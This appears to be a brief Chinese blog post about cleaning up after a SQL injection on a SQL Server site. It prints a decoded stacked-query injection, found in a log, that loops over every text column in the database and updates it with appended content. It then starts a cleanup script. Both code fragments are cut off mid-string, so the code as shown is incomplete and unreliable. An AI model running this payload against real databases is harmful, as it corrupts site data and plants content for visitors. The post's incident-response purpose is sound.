一段SQL注入代码与数据库注入内容清理

注入代码：

日志中找到的注入记录：

)--

 

经解码后的攻击代码：

articletype=8';declare @s varchar(8000) set @s="Declare @T Varchar(255),@C Varchar(255)

Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''

exec @s

 

数据库清理代码：

declare @name as nvarchar(128),@columnName as nvarchar(128),@columnType as nvarchar(128),@injectSql as nvarchar(111)

    set @injectSql='

阅读(980) | 评论(0) | 转发(0) |